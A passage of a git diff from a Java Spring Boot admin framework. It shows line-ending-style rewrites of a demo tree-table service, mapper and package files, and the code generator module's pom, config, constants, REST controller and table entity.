org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 测试树表Service业务层处理 + * + * @author Lion Li + * @date 2021-07-26 + */ +// @DS("slave") // 切换从库查询 +@RequiredArgsConstructor +@Service +public class TestTreeServiceImpl implements ITestTreeService { + + private final TestTreeMapper baseMapper; + + @Override + public TestTreeVo queryById(Long id) { + return baseMapper.selectVoById(id); + } + + // @DS("slave") // 切换从库查询 + @Override + public List queryList(TestTreeBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TestTreeBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getTreeName()), TestTree::getTreeName, bo.getTreeName()); + lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + TestTree::getCreateTime, params.get("beginCreateTime"), params.get("endCreateTime")); + lqw.orderByAsc(TestTree::getId); + return lqw; + } + + @Override + public Boolean insertByBo(TestTreeBo bo) { + TestTree add = MapstructUtils.convert(bo, TestTree.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + @Override + public Boolean updateByBo(TestTreeBo bo) { + TestTree update = MapstructUtils.convert(bo, TestTree.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + * + * @param entity 实体类数据 + */ + private void validEntityBeforeSave(TestTree entity) { + //TODO 做一些数据校验,如唯一约束 + } + + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if (isValid) { + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/package-info.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/package-info.java index 7011984..f12402f 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/package-info.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/impl/package-info.java @@ -1 +1 @@ -package org.dromara.demo.service.impl; +package org.dromara.demo.service.impl; diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/package-info.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/package-info.java index 16727ff..d975629 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/package-info.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/service/package-info.java @@ -1 +1 @@ -package org.dromara.demo.service; +package org.dromara.demo.service; diff --git a/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/demo/TestDemoMapper.xml b/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/demo/TestDemoMapper.xml index dbf89a3..2e0aadf 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/demo/TestDemoMapper.xml +++ b/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/demo/TestDemoMapper.xml @@ -1,11 +1,11 @@ - - - - - - - + + + + + + + diff --git a/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/demo/TestTreeMapper.xml b/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/demo/TestTreeMapper.xml index d7975ec..c79e63d 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/demo/TestTreeMapper.xml +++ b/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/demo/TestTreeMapper.xml @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/package-info.md b/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/package-info.md index c938b1e..22087fa 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/package-info.md +++ b/ruoyi-modules/ruoyi-demo/src/main/resources/mapper/package-info.md @@ -1,3 +1,3 @@ -java包使用 `.` 分割 resource 目录使用 `/` 分割 -
+java包使用 `.` 分割 resource 目录使用 `/` 分割 +
此文件目的 防止文件夹粘连找不到 `xml` 文件 \ No newline at end of file diff --git a/ruoyi-modules/ruoyi-generator/pom.xml b/ruoyi-modules/ruoyi-generator/pom.xml index 4906029..cf642f1 100644 --- a/ruoyi-modules/ruoyi-generator/pom.xml +++ b/ruoyi-modules/ruoyi-generator/pom.xml @@ -1,84 +1,84 @@ - - - - org.dromara - ruoyi-modules - ${revision} - - 4.0.0 - - ruoyi-generator - - - generator 代码生成 - - - - - - org.dromara - ruoyi-common-core - - - - org.dromara - ruoyi-common-doc - - - - org.dromara - ruoyi-common-mybatis - - - - org.dromara - ruoyi-common-web - - - - org.dromara - ruoyi-common-log - - - - - org.apache.velocity - velocity-engine-core - - - - org.anyline - anyline-environment-spring-data-jdbc - ${anyline.version} - - - - org.anyline - anyline-data-jdbc-mysql - ${anyline.version} - - - - - - - - - - - - - - - - - - - - - - - - + + + + org.dromara + ruoyi-modules + ${revision} + + 4.0.0 + + ruoyi-generator + + + generator 代码生成 + + + + + + org.dromara + ruoyi-common-core + + + + org.dromara + ruoyi-common-doc + + + + org.dromara + ruoyi-common-mybatis + + + + org.dromara + ruoyi-common-web + + + + org.dromara + ruoyi-common-log + + + + + org.apache.velocity + velocity-engine-core + + + + org.anyline + anyline-environment-spring-data-jdbc + ${anyline.version} + + + + org.anyline + anyline-data-jdbc-mysql + ${anyline.version} + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/config/GenConfig.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/config/GenConfig.java index b29f8c9..18b4b7c 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/config/GenConfig.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/config/GenConfig.java @@ -1,73 +1,73 @@ -package org.dromara.generator.config; - -import org.springframework.beans.factory.annotation.Value; -import org.springframework.boot.context.properties.ConfigurationProperties; -import org.springframework.context.annotation.PropertySource; -import org.springframework.stereotype.Component; - -/** - * 读取代码生成相关配置 - * - * @author ruoyi - */ -@Component -@ConfigurationProperties(prefix = "gen") -@PropertySource(value = {"classpath:generator.yml"}, encoding = "UTF-8") -public class GenConfig { - - /** - * 作者 - */ - public static String author; - - /** - * 生成包路径 - */ - public static String packageName; - - /** - * 自动去除表前缀,默认是false - */ - public static boolean autoRemovePre; - - /** - * 表前缀(类名不会包含表前缀) - */ - public static String tablePrefix; - - public static String getAuthor() { - return author; - } - - @Value("${author}") - public void setAuthor(String author) { - GenConfig.author = author; - } - - public static String getPackageName() { - return packageName; - } - - @Value("${packageName}") - public void setPackageName(String packageName) { - GenConfig.packageName = packageName; - } - - public static boolean getAutoRemovePre() { - return autoRemovePre; - } - - @Value("${autoRemovePre}") - public void setAutoRemovePre(boolean autoRemovePre) { - GenConfig.autoRemovePre = autoRemovePre; - } - - public static String getTablePrefix() { - return tablePrefix; - } - - @Value("${tablePrefix}") - public void setTablePrefix(String tablePrefix) { - GenConfig.tablePrefix = tablePrefix; - } -} +package org.dromara.generator.config; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.context.annotation.PropertySource; +import org.springframework.stereotype.Component; + +/** + * 读取代码生成相关配置 + * + * @author ruoyi + */ +@Component +@ConfigurationProperties(prefix = "gen") +@PropertySource(value = {"classpath:generator.yml"}, encoding = "UTF-8") +public class GenConfig { + + /** + * 作者 + */ + public static String author; + + /** + * 生成包路径 + */ + public static String packageName; + + /** + * 自动去除表前缀,默认是false + */ + public static boolean autoRemovePre; + + /** + * 表前缀(类名不会包含表前缀) + */ + public static String tablePrefix; + + public static String getAuthor() { + return author; + } + + @Value("${author}") + public void setAuthor(String author) { + GenConfig.author = author; + } + + public static String getPackageName() { + return packageName; + } + + @Value("${packageName}") + public void setPackageName(String packageName) { + GenConfig.packageName = packageName; + } + + public static boolean getAutoRemovePre() { + return autoRemovePre; + } + + @Value("${autoRemovePre}") + public void setAutoRemovePre(boolean autoRemovePre) { + GenConfig.autoRemovePre = autoRemovePre; + } + + public static String getTablePrefix() { + return tablePrefix; + } + + @Value("${tablePrefix}") + public void setTablePrefix(String tablePrefix) { + GenConfig.tablePrefix = tablePrefix; + } +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/constant/GenConstants.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/constant/GenConstants.java index b9888fb..785c7ed 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/constant/GenConstants.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/constant/GenConstants.java @@ -1,186 +1,186 @@ -package org.dromara.generator.constant; - -/** - * 代码生成通用常量 - * - * @author ruoyi - */ -public interface GenConstants { - /** - * 单表(增删改查) - */ - String TPL_CRUD = "crud"; - - /** - * 树表(增删改查) - */ - String TPL_TREE = "tree"; - - /** - * 树编码字段 - */ - String TREE_CODE = "treeCode"; - - /** - * 树父编码字段 - */ - String TREE_PARENT_CODE = "treeParentCode"; - - /** - * 树名称字段 - */ - String TREE_NAME = "treeName"; - - /** - * 上级菜单ID字段 - */ - String PARENT_MENU_ID = "parentMenuId"; - - /** - * 上级菜单名称字段 - */ - String PARENT_MENU_NAME = "parentMenuName"; - - /** - * 数据库字符串类型 - */ - String[] COLUMNTYPE_STR = {"char", "varchar", "enum", "set", "nchar", "nvarchar", "varchar2", "nvarchar2"}; - - /** - * 数据库文本类型 - */ - String[] COLUMNTYPE_TEXT = {"tinytext", "text", "mediumtext", "longtext", "binary", "varbinary", "blob", - "ntext", "image", "bytea"}; - - /** - * 数据库时间类型 - */ - String[] COLUMNTYPE_TIME = {"datetime", "time", "date", "timestamp", "year", "interval", - "smalldatetime", "datetime2", "datetimeoffset", "timestamptz"}; - - /** - * 数据库数字类型 - */ - String[] COLUMNTYPE_NUMBER = {"tinyint", "smallint", "mediumint", "int", "int2", "int4", "int8", "number", "integer", - "bit", "bigint", "float", "float4", "float8", "double", "decimal", "numeric", "real", "double precision", - "smallserial", "serial", "bigserial", "money", "smallmoney"}; - - /** - * BO对象 不需要添加字段 - */ - String[] COLUMNNAME_NOT_ADD = {"create_dept", "create_by", "create_time", "del_flag", "update_by", - "update_time", "version", "tenant_id"}; - - /** - * BO对象 不需要编辑字段 - */ - String[] COLUMNNAME_NOT_EDIT = {"create_dept", "create_by", "create_time", "del_flag", "update_by", - "update_time", "version", "tenant_id"}; - - /** - * VO对象 不需要返回字段 - */ - String[] COLUMNNAME_NOT_LIST = {"create_dept", "create_by", "create_time", "del_flag", "update_by", - "update_time", "version", "tenant_id"}; - - /** - * BO对象 不需要查询字段 - */ - String[] COLUMNNAME_NOT_QUERY = {"id", "create_dept", "create_by", "create_time", "del_flag", "update_by", - "update_time", "remark", "version", "tenant_id"}; - - /** - * Entity基类字段 - */ - String[] BASE_ENTITY = {"createDept", "createBy", "createTime", "updateBy", "updateTime", "tenantId"}; - - /** - * 文本框 - */ - String HTML_INPUT = "input"; - - /** - * 文本域 - */ - String HTML_TEXTAREA = "textarea"; - - /** - * 下拉框 - */ - String HTML_SELECT = "select"; - - /** - * 单选框 - */ - String HTML_RADIO = "radio"; - - /** - * 复选框 - */ - String HTML_CHECKBOX = "checkbox"; - - /** - * 日期控件 - */ - String HTML_DATETIME = "datetime"; - - /** - * 图片上传控件 - */ - String HTML_IMAGE_UPLOAD = "imageUpload"; - - /** - * 文件上传控件 - */ - String HTML_FILE_UPLOAD = "fileUpload"; - - /** - * 富文本控件 - */ - String HTML_EDITOR = "editor"; - - /** - * 字符串类型 - */ - String TYPE_STRING = "String"; - - /** - * 整型 - */ - String TYPE_INTEGER = "Integer"; - - /** - * 长整型 - */ - String TYPE_LONG = "Long"; - - /** - * 浮点型 - */ - String TYPE_DOUBLE = "Double"; - - /** - * 高精度计算类型 - */ - String TYPE_BIGDECIMAL = "BigDecimal"; - - /** - * 时间类型 - */ - String TYPE_DATE = "Date"; - - /** - * 模糊查询 - */ - String QUERY_LIKE = "LIKE"; - - /** - * 相等查询 - */ - String QUERY_EQ = "EQ"; - - /** - * 需要 - */ - String REQUIRE = "1"; -} +package org.dromara.generator.constant; + +/** + * 代码生成通用常量 + * + * @author ruoyi + */ +public interface GenConstants { + /** + * 单表(增删改查) + */ + String TPL_CRUD = "crud"; + + /** + * 树表(增删改查) + */ + String TPL_TREE = "tree"; + + /** + * 树编码字段 + */ + String TREE_CODE = "treeCode"; + + /** + * 树父编码字段 + */ + String TREE_PARENT_CODE = "treeParentCode"; + + /** + * 树名称字段 + */ + String TREE_NAME = "treeName"; + + /** + * 上级菜单ID字段 + */ + String PARENT_MENU_ID = "parentMenuId"; + + /** + * 上级菜单名称字段 + */ + String PARENT_MENU_NAME = "parentMenuName"; + + /** + * 数据库字符串类型 + */ + String[] COLUMNTYPE_STR = {"char", "varchar", "enum", "set", "nchar", "nvarchar", "varchar2", "nvarchar2"}; + + /** + * 数据库文本类型 + */ + String[] COLUMNTYPE_TEXT = {"tinytext", "text", "mediumtext", "longtext", "binary", "varbinary", "blob", + "ntext", "image", "bytea"}; + + /** + * 数据库时间类型 + */ + String[] COLUMNTYPE_TIME = {"datetime", "time", "date", "timestamp", "year", "interval", + "smalldatetime", "datetime2", "datetimeoffset", "timestamptz"}; + + /** + * 数据库数字类型 + */ + String[] COLUMNTYPE_NUMBER = {"tinyint", "smallint", "mediumint", "int", "int2", "int4", "int8", "number", "integer", + "bit", "bigint", "float", "float4", "float8", "double", "decimal", "numeric", "real", "double precision", + "smallserial", "serial", "bigserial", "money", "smallmoney"}; + + /** + * BO对象 不需要添加字段 + */ + String[] COLUMNNAME_NOT_ADD = {"create_dept", "create_by", "create_time", "del_flag", "update_by", + "update_time", "version", "tenant_id"}; + + /** + * BO对象 不需要编辑字段 + */ + String[] COLUMNNAME_NOT_EDIT = {"create_dept", "create_by", "create_time", "del_flag", "update_by", + "update_time", "version", "tenant_id"}; + + /** + * VO对象 不需要返回字段 + */ + String[] COLUMNNAME_NOT_LIST = {"create_dept", "create_by", "create_time", "del_flag", "update_by", + "update_time", "version", "tenant_id"}; + + /** + * BO对象 不需要查询字段 + */ + String[] COLUMNNAME_NOT_QUERY = {"id", "create_dept", "create_by", "create_time", "del_flag", "update_by", + "update_time", "remark", "version", "tenant_id"}; + + /** + * Entity基类字段 + */ + String[] BASE_ENTITY = {"createDept", "createBy", "createTime", "updateBy", "updateTime", "tenantId"}; + + /** + * 文本框 + */ + String HTML_INPUT = "input"; + + /** + * 文本域 + */ + String HTML_TEXTAREA = "textarea"; + + /** + * 下拉框 + */ + String HTML_SELECT = "select"; + + /** + * 单选框 + */ + String HTML_RADIO = "radio"; + + /** + * 复选框 + */ + String HTML_CHECKBOX = "checkbox"; + + /** + * 日期控件 + */ + String HTML_DATETIME = "datetime"; + + /** + * 图片上传控件 + */ + String HTML_IMAGE_UPLOAD = "imageUpload"; + + /** + * 文件上传控件 + */ + String HTML_FILE_UPLOAD = "fileUpload"; + + /** + * 富文本控件 + */ + String HTML_EDITOR = "editor"; + + /** + * 字符串类型 + */ + String TYPE_STRING = "String"; + + /** + * 整型 + */ + String TYPE_INTEGER = "Integer"; + + /** + * 长整型 + */ + String TYPE_LONG = "Long"; + + /** + * 浮点型 + */ + String TYPE_DOUBLE = "Double"; + + /** + * 高精度计算类型 + */ + String TYPE_BIGDECIMAL = "BigDecimal"; + + /** + * 时间类型 + */ + String TYPE_DATE = "Date"; + + /** + * 模糊查询 + */ + String QUERY_LIKE = "LIKE"; + + /** + * 相等查询 + */ + String QUERY_EQ = "EQ"; + + /** + * 需要 + */ + String REQUIRE = "1"; +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/controller/GenController.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/controller/GenController.java index c9ac525..9874f4f 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/controller/GenController.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/controller/GenController.java @@ -1,217 +1,217 @@ -package org.dromara.generator.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.io.IoUtil; -import jakarta.servlet.http.HttpServletResponse; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.helper.DataBaseHelper; -import org.dromara.common.web.core.BaseController; -import org.dromara.generator.domain.GenTable; -import org.dromara.generator.domain.GenTableColumn; -import org.dromara.generator.service.IGenTableService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.io.IOException; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -/** - * 代码生成 操作处理 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/tool/gen") -public class GenController extends BaseController { - - private final IGenTableService genTableService; - - /** - * 查询代码生成列表 - */ - @SaCheckPermission("tool:gen:list") - @GetMapping("/list") - public TableDataInfo genList(GenTable genTable, PageQuery pageQuery) { - return genTableService.selectPageGenTableList(genTable, pageQuery); - } - - /** - * 修改代码生成业务 - * - * @param tableId 表ID - */ - @SaCheckPermission("tool:gen:query") - @GetMapping(value = "/{tableId}") - public R> getInfo(@PathVariable Long tableId) { - GenTable table = genTableService.selectGenTableById(tableId); - List tables = genTableService.selectGenTableAll(); - List list = genTableService.selectGenTableColumnListByTableId(tableId); - Map map = new HashMap<>(3); - map.put("info", table); - map.put("rows", list); - map.put("tables", tables); - return R.ok(map); - } - - /** - * 查询数据库列表 - */ - @SaCheckPermission("tool:gen:list") - @GetMapping("/db/list") - public TableDataInfo dataList(GenTable genTable, PageQuery pageQuery) { - return genTableService.selectPageDbTableList(genTable, pageQuery); - } - - /** - * 查询数据表字段列表 - * - * @param tableId 表ID - */ - @SaCheckPermission("tool:gen:list") - @GetMapping(value = "/column/{tableId}") - public TableDataInfo columnList(@PathVariable("tableId") Long tableId) { - TableDataInfo dataInfo = new TableDataInfo<>(); - List list = genTableService.selectGenTableColumnListByTableId(tableId); - dataInfo.setRows(list); - dataInfo.setTotal(list.size()); - return dataInfo; - } - - /** - * 导入表结构(保存) - * - * @param tables 表名串 - */ - @SaCheckPermission("tool:gen:import") - @Log(title = "代码生成", businessType = BusinessType.IMPORT) - @PostMapping("/importTable") - public R importTableSave(String tables, String dataName) { - String[] tableNames = Convert.toStrArray(tables); - // 查询表信息 - List tableList = genTableService.selectDbTableListByNames(tableNames, dataName); - genTableService.importGenTable(tableList, dataName); - return R.ok(); - } - - /** - * 修改保存代码生成业务 - */ - @SaCheckPermission("tool:gen:edit") - @Log(title = "代码生成", businessType = BusinessType.UPDATE) - @PutMapping - public R editSave(@Validated @RequestBody GenTable genTable) { - genTableService.validateEdit(genTable); - genTableService.updateGenTable(genTable); - return R.ok(); - } - - /** - * 删除代码生成 - * - * @param tableIds 表ID串 - */ - @SaCheckPermission("tool:gen:remove") - @Log(title = "代码生成", businessType = BusinessType.DELETE) - @DeleteMapping("/{tableIds}") - public R remove(@PathVariable Long[] tableIds) { - genTableService.deleteGenTableByIds(tableIds); - return R.ok(); - } - - /** - * 预览代码 - * - * @param tableId 表ID - */ - @SaCheckPermission("tool:gen:preview") - @GetMapping("/preview/{tableId}") - public R> preview(@PathVariable("tableId") Long tableId) throws IOException { - Map dataMap = genTableService.previewCode(tableId); - return R.ok(dataMap); - } - - /** - * 生成代码(下载方式) - * - * @param tableId 表ID - */ - @SaCheckPermission("tool:gen:code") - @Log(title = "代码生成", businessType = BusinessType.GENCODE) - @GetMapping("/download/{tableId}") - public void download(HttpServletResponse response, @PathVariable("tableId") Long tableId) throws IOException { - byte[] data = genTableService.downloadCode(tableId); - genCode(response, data); - } - - /** - * 生成代码(自定义路径) - * - * @param tableId 表ID - */ - @SaCheckPermission("tool:gen:code") - @Log(title = "代码生成", businessType = BusinessType.GENCODE) - @GetMapping("/genCode/{tableId}") - public R genCode(@PathVariable("tableId") Long tableId) { - genTableService.generatorCode(tableId); - return R.ok(); - } - - /** - * 同步数据库 - * - * @param tableId 表ID - */ - @SaCheckPermission("tool:gen:edit") - @Log(title = "代码生成", businessType = BusinessType.UPDATE) - @GetMapping("/synchDb/{tableId}") - public R synchDb(@PathVariable("tableId") Long tableId) { - genTableService.synchDb(tableId); - return R.ok(); - } - - /** - * 批量生成代码 - * - * @param tableIdStr 表ID串 - */ - @SaCheckPermission("tool:gen:code") - @Log(title = "代码生成", businessType = BusinessType.GENCODE) - @GetMapping("/batchGenCode") - public void batchGenCode(HttpServletResponse response, String tableIdStr) throws IOException { - String[] tableIds = Convert.toStrArray(tableIdStr); - byte[] data = genTableService.downloadCode(tableIds); - genCode(response, data); - } - - /** - * 生成zip文件 - */ - private void genCode(HttpServletResponse response, byte[] data) throws IOException { - response.reset(); - response.addHeader("Access-Control-Allow-Origin", "*"); - response.addHeader("Access-Control-Expose-Headers", "Content-Disposition"); - response.setHeader("Content-Disposition", "attachment; filename=\"ruoyi.zip\""); - response.addHeader("Content-Length", "" + data.length); - response.setContentType("application/octet-stream; charset=UTF-8"); - IoUtil.write(response.getOutputStream(), false, data); - } - - /** - * 查询数据源名称列表 - */ - @SaCheckPermission("tool:gen:list") - @GetMapping(value = "/getDataNames") - public R getCurrentDataSourceNameList(){ - return R.ok(DataBaseHelper.getDataSourceNameList()); - } -} +package org.dromara.generator.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.io.IoUtil; +import jakarta.servlet.http.HttpServletResponse; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.helper.DataBaseHelper; +import org.dromara.common.web.core.BaseController; +import org.dromara.generator.domain.GenTable; +import org.dromara.generator.domain.GenTableColumn; +import org.dromara.generator.service.IGenTableService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.io.IOException; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * 代码生成 操作处理 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/tool/gen") +public class GenController extends BaseController { + + private final IGenTableService genTableService; + + /** + * 查询代码生成列表 + */ + @SaCheckPermission("tool:gen:list") + @GetMapping("/list") + public TableDataInfo genList(GenTable genTable, PageQuery pageQuery) { + return genTableService.selectPageGenTableList(genTable, pageQuery); + } + + /** + * 修改代码生成业务 + * + * @param tableId 表ID + */ + @SaCheckPermission("tool:gen:query") + @GetMapping(value = "/{tableId}") + public R> getInfo(@PathVariable Long tableId) { + GenTable table = genTableService.selectGenTableById(tableId); + List tables = genTableService.selectGenTableAll(); + List list = genTableService.selectGenTableColumnListByTableId(tableId); + Map map = new HashMap<>(3); + map.put("info", table); + map.put("rows", list); + map.put("tables", tables); + return R.ok(map); + } + + /** + * 查询数据库列表 + */ + @SaCheckPermission("tool:gen:list") + @GetMapping("/db/list") + public TableDataInfo dataList(GenTable genTable, PageQuery pageQuery) { + return genTableService.selectPageDbTableList(genTable, pageQuery); + } + + /** + * 查询数据表字段列表 + * + * @param tableId 表ID + */ + @SaCheckPermission("tool:gen:list") + @GetMapping(value = "/column/{tableId}") + public TableDataInfo columnList(@PathVariable("tableId") Long tableId) { + TableDataInfo dataInfo = new TableDataInfo<>(); + List list = genTableService.selectGenTableColumnListByTableId(tableId); + dataInfo.setRows(list); + dataInfo.setTotal(list.size()); + return dataInfo; + } + + /** + * 导入表结构(保存) + * + * @param tables 表名串 + */ + @SaCheckPermission("tool:gen:import") + @Log(title = "代码生成", businessType = BusinessType.IMPORT) + @PostMapping("/importTable") + public R importTableSave(String tables, String dataName) { + String[] tableNames = Convert.toStrArray(tables); + // 查询表信息 + List tableList = genTableService.selectDbTableListByNames(tableNames, dataName); + genTableService.importGenTable(tableList, dataName); + return R.ok(); + } + + /** + * 修改保存代码生成业务 + */ + @SaCheckPermission("tool:gen:edit") + @Log(title = "代码生成", businessType = BusinessType.UPDATE) + @PutMapping + public R editSave(@Validated @RequestBody GenTable genTable) { + genTableService.validateEdit(genTable); + genTableService.updateGenTable(genTable); + return R.ok(); + } + + /** + * 删除代码生成 + * + * @param tableIds 表ID串 + */ + @SaCheckPermission("tool:gen:remove") + @Log(title = "代码生成", businessType = BusinessType.DELETE) + @DeleteMapping("/{tableIds}") + public R remove(@PathVariable Long[] tableIds) { + genTableService.deleteGenTableByIds(tableIds); + return R.ok(); + } + + /** + * 预览代码 + * + * @param tableId 表ID + */ + @SaCheckPermission("tool:gen:preview") + @GetMapping("/preview/{tableId}") + public R> preview(@PathVariable("tableId") Long tableId) throws IOException { + Map dataMap = genTableService.previewCode(tableId); + return R.ok(dataMap); + } + + /** + * 生成代码(下载方式) + * + * @param tableId 表ID + */ + @SaCheckPermission("tool:gen:code") + @Log(title = "代码生成", businessType = BusinessType.GENCODE) + @GetMapping("/download/{tableId}") + public void download(HttpServletResponse response, @PathVariable("tableId") Long tableId) throws IOException { + byte[] data = genTableService.downloadCode(tableId); + genCode(response, data); + } + + /** + * 生成代码(自定义路径) + * + * @param tableId 表ID + */ + @SaCheckPermission("tool:gen:code") + @Log(title = "代码生成", businessType = BusinessType.GENCODE) + @GetMapping("/genCode/{tableId}") + public R genCode(@PathVariable("tableId") Long tableId) { + genTableService.generatorCode(tableId); + return R.ok(); + } + + /** + * 同步数据库 + * + * @param tableId 表ID + */ + @SaCheckPermission("tool:gen:edit") + @Log(title = "代码生成", businessType = BusinessType.UPDATE) + @GetMapping("/synchDb/{tableId}") + public R synchDb(@PathVariable("tableId") Long tableId) { + genTableService.synchDb(tableId); + return R.ok(); + } + + /** + * 批量生成代码 + * + * @param tableIdStr 表ID串 + */ + @SaCheckPermission("tool:gen:code") + @Log(title = "代码生成", businessType = BusinessType.GENCODE) + @GetMapping("/batchGenCode") + public void batchGenCode(HttpServletResponse response, String tableIdStr) throws IOException { + String[] tableIds = Convert.toStrArray(tableIdStr); + byte[] data = genTableService.downloadCode(tableIds); + genCode(response, data); + } + + /** + * 生成zip文件 + */ + private void genCode(HttpServletResponse response, byte[] data) throws IOException { + response.reset(); + response.addHeader("Access-Control-Allow-Origin", "*"); + response.addHeader("Access-Control-Expose-Headers", "Content-Disposition"); + response.setHeader("Content-Disposition", "attachment; filename=\"ruoyi.zip\""); + response.addHeader("Content-Length", "" + data.length); + response.setContentType("application/octet-stream; charset=UTF-8"); + IoUtil.write(response.getOutputStream(), false, data); + } + + /** + * 查询数据源名称列表 + */ + @SaCheckPermission("tool:gen:list") + @GetMapping(value = "/getDataNames") + public R getCurrentDataSourceNameList(){ + return R.ok(DataBaseHelper.getDataSourceNameList()); + } +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/domain/GenTable.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/domain/GenTable.java index 9214a05..36bf525 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/domain/GenTable.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/domain/GenTable.java @@ -1,196 +1,196 @@ -package org.dromara.generator.domain; - -import com.baomidou.mybatisplus.annotation.FieldStrategy; -import com.baomidou.mybatisplus.annotation.TableField; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import jakarta.validation.Valid; -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.generator.constant.GenConstants; - -import java.util.List; - -/** - * 业务表 gen_table - * - * @author Lion Li - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("gen_table") -public class GenTable extends BaseEntity { - - /** - * 编号 - */ - @TableId(value = "table_id") - private Long tableId; - - /** - * 数据源名称 - */ - @NotBlank(message = "数据源名称不能为空") - private String dataName; - - /** - * 表名称 - */ - @NotBlank(message = "表名称不能为空") - private String tableName; - - /** - * 表描述 - */ - @NotBlank(message = "表描述不能为空") - private String tableComment; - - /** - * 关联父表的表名 - */ - private String subTableName; - - /** - * 本表关联父表的外键名 - */ - private String subTableFkName; - - /** - * 实体类名称(首字母大写) - */ - @NotBlank(message = "实体类名称不能为空") - private String className; - - /** - * 使用的模板(crud单表操作 tree树表操作 sub主子表操作) - */ - private String tplCategory; - - /** - * 生成包路径 - */ - @NotBlank(message = "生成包路径不能为空") - private String packageName; - - /** - * 生成模块名 - */ - @NotBlank(message = "生成模块名不能为空") - private String moduleName; - - /** - * 生成业务名 - */ - @NotBlank(message = "生成业务名不能为空") - private String businessName; - - /** - * 生成功能名 - */ - @NotBlank(message = "生成功能名不能为空") - private String functionName; - - /** - * 生成作者 - */ - @NotBlank(message = "作者不能为空") - private String functionAuthor; - - /** - * 生成代码方式(0zip压缩包 1自定义路径) - */ - private String genType; - - /** - * 生成路径(不填默认项目路径) - */ - @TableField(updateStrategy = FieldStrategy.NOT_EMPTY) - private String genPath; - - /** - * 主键信息 - */ - @TableField(exist = false) - private GenTableColumn pkColumn; - - /** - * 